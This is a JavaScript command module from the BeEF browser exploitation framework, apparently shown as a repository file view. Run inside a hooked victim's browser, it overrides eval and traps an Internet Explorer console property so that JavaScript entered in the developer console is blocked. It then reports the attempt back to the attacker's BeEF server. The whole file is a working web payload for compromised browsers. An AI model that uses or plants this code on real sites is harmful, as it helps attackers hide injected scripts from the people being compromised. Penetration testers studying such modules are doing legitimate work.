Files
beef/modules/browser/hooked_domain/disable_developer_tools/command.js
2023-12-26 22:32:31 -05:00

34 lines
873 B
JavaScript

//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// Uses this technique by KSpace:
// http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/
var _eval = eval,
evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,
flag = false;
Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", {
get : function(){
return evalError;
},
set : function(v){
flag = !v;
evalError = v;
}
});
eval = function() {
if ( flag ) {
throw "";
}
return _eval.apply( this, arguments );
};
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools");
});